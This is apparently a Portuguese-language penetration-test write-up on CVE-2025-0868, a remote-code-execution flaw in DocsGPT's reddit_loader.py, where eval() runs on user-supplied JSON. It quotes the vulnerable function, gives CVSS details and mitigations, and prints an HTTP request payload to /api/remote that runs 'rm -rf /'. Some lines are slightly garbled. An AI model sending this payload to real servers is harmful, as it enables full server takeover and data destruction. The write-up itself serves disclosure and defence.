
Relatório detalhado de teste de penetração e demonstração de exploit para CVE-2025-0868, um RCE crítico no DocsGPT via eval() inseguro, incluindo configuração de laboratório, criação de payload e estratégias de mitigação.
Uma falha crítica de Execução Remota de Código (RCE) (CVE-2025-0868) foi divulgada em 20 de fevereiro de 2025 na biblioteca open-source DocsGPT, causada pelo uso inseguro de eval() ao analisar payloads JSON.
Detalhes principais:
Esta vulnerabilidade permite que atacantes executem código Python arbitrário por meio do endpoint /api/remote. O DocsGPT é uma ferramenta open-source de IA generativa que permite consultar a documentação de projetos usando modelos GPT.
| Categoria | Detalhes |
|---|---|
| CVE ID | CVE-2025-0868 |
| Software Afetado | DocsGPT v0.8.1 – v0.12.0 |
| Tipo de Vulnerabilidade | Execução Remota de Código (RCE) |
| Vetor de Ataque | Baseado em rede (requisição HTTP para /api/remote) |
| Causa Raiz | Uso inseguro de eval() em entrada JSON não confiável |
| Impacto | Comprometimento total do servidor (execução arbitrária de comandos) |
| Mapeamento CWE | CWE-77: Neutralização inadequada de elementos especiais usados em um comando |
Vetor: AV:N/AC:L/PR:N/UI:N/VC:H/VI:H/VA:H
Pontuação Base: 9.3 (CRÍTICA)
Métricas de Explorabilidade:
Métricas de Impacto:
A vulnerabilidade existe em reddit_loader.py, onde a entrada do usuário é processada usando a função insegura eval():
def load_data(self, inputs):
data = eval(inputs) # Vulnerable code
client_id = data.get("client_id")
client_secret = data.get("client_secret")
user_agent = data.get("user_agent")
Isso permite que um atacante execute código Python malicioso dentro de campos JSON: POST /api/remote HTTP/1.1 Content-Type: application/json
{"data": "import('os').system('rm -rf /')"}
Para explorar esta vulnerabilidade, recriamos o ambiente vulnerável e um espaço de trabalho seguro usando:
Desenvolvemos um script Python que executa Execução Remota de Código (RCE) enviando um payload malicioso para o endpoint /api/remote, explorando o uso inseguro de eval().
/api/remote./api/remote.POST /api/remote HTTP/1.1
Content-Type: application/json
{"data": "__import__('os').system('rm -rf /')"}
Atualize para o DocsGPT v0.12.1 e versões com letras
Substitua eval() por json.loads().
Link:https://github.com/arc53/DocsGPT/blob/df9d432d29c1bbdf28abb3d35d129060b1964dd3/applicatio n/parser/remote/reddit_loader.py#L9